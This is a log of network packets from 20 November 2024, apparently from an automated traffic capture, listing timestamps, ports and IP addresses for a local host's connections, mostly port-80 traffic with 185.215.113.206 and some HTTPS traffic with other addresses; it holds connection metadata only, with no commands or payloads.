Nov 20, 2024 23:12:52.365895033 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:52.365909100 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:52.365915060 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:52.365933895 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:52.365947962 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:52.365950108 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:52.365955114 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.365979910 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.365991116 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:52.366041899 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.366074085 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.366178989 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.366178989 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.367558002 CET	49856	443	192.168.2.7	23.55.235.251
Nov 20, 2024 23:12:52.367578983 CET	443	49856	23.55.235.251	192.168.2.7
Nov 20, 2024 23:12:52.374551058 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.374609947 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.374624968 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.374639034 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.374676943 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.375605106 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.375623941 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.416678905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.416743994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.417020082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.417076111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.417160988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.417217016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.417258024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.418198109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.418251038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.418569088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.418612957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.419250965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.419313908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.419343948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.419387102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.420310020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.420392990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.420464993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.420505047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.421431065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.421473026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.421761036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.421802998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.422425985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.422466993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.422646046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.422703028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.423496008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.423556089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.423789978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.423839092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.424571991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.424626112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.424992085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.425034046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.425626040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.425699949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.425739050 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.426703930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.426754951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.427006960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.427196026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.427733898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.427782059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.428373098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.428442001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.428893089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.428942919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.429111004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.429156065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.429883003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.429975986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.429986000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.430032969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.430931091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.431411982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.431570053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.431608915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.431994915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.432126999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.432197094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.432369947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.433100939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.433157921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.433204889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.433243990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.434113026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.434205055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.434233904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.434276104 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.435184002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.435323000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.435380936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.436265945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.436316967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.436521053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.436574936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.437314987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.437359095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.437922955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.437967062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.438380003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.438425064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.438455105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.438493967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.439460039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.439713955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.439743042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.439759016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.440515041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.440684080 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.440798998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.440850019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.441569090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.441612959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.441692114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.441737890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.442642927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.442719936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.443238974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.443317890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.443702936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.443855047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.444103956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.444185019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.444763899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.444850922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.445053101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.445096016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.445868969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.446049929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.446415901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.446508884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.446866035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.446937084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.446969986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.447108984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.447931051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.447983027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.448131084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.448287010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.449013948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.449121952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.449234962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.449276924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.505592108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.625330925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.688163996 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:52.693350077 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:52.693413019 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:52.693909883 CET	49860	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:52.693916082 CET	443	49860	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:52.806682110 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806709051 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806716919 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806730032 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806736946 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806740046 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806792021 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.806834936 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.806857109 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.806890965 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.961343050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.961410999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.961469889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.961513996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.961879969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.962063074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.962110043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.962905884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.962964058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.963006973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.963361979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.963725090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.963773966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.963918924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.963999033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.964811087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.964864016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.964937925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.965001106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.965820074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.965889931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.965917110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.965974092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.966901064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.967000961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.967286110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.967962027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.968041897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.968137980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.968193054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.969019890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.969094992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.969152927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.970066071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.970122099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.970155954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.970375061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.971144915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.971195936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.971235037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.971290112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.972188950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.972248077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.972281933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.972332001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.973283052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.973393917 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.973541021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.974292040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.974344015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.974411964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.974463940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.975358009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.975474119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.975482941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.975678921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.976418018 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.976531029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.976552010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.976775885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.977507114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.977597952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.977616072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.977647066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.978621960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.978705883 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.978848934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.979609013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.979703903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.979720116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:52.979773998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:52.995579004 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.995657921 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.995693922 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.995708942 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:52.995744944 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:52.995764017 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.040575027 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.040594101 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.040693998 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.040704966 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.040747881 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.085728884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.085808039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.085838079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.085882902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.086263895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.086319923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.086394072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.086575031 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.086946011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.087138891 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.087178946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.087714911 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.087724924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.087733030 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.087794065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.087846994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.088485003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.088589907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.088640928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.089385033 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.089390039 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.089534044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.089581013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.089644909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.089698076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.090578079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.090631962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.090657949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.090740919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.091841936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.091888905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.092046976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.092140913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.092806101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.092907906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.092961073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.093764067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.093808889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.093823910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.093888998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.094863892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.094912052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.095103979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.095163107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.095901012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.095943928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.096020937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.096076012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.096976042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.096993923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.097038984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.098030090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.098073006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.098083019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.098113060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.099250078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.099287987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.099347115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.099385977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.100131035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.100176096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.100239992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.100277901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.101232052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.101284027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.101346016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.101387978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.102300882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.102344990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.102415085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.102579117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.103347063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.103486061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.103502035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.103559017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.104474068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.104707003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.104800940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.105468035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.105551958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.105638027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.105753899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.106520891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.106585026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.106626034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.106674910 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.107629061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.107642889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.107728958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.108700991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.108860970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.108917952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.109103918 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:53.109155893 CET	443	49868	20.25.227.174	192.168.2.7
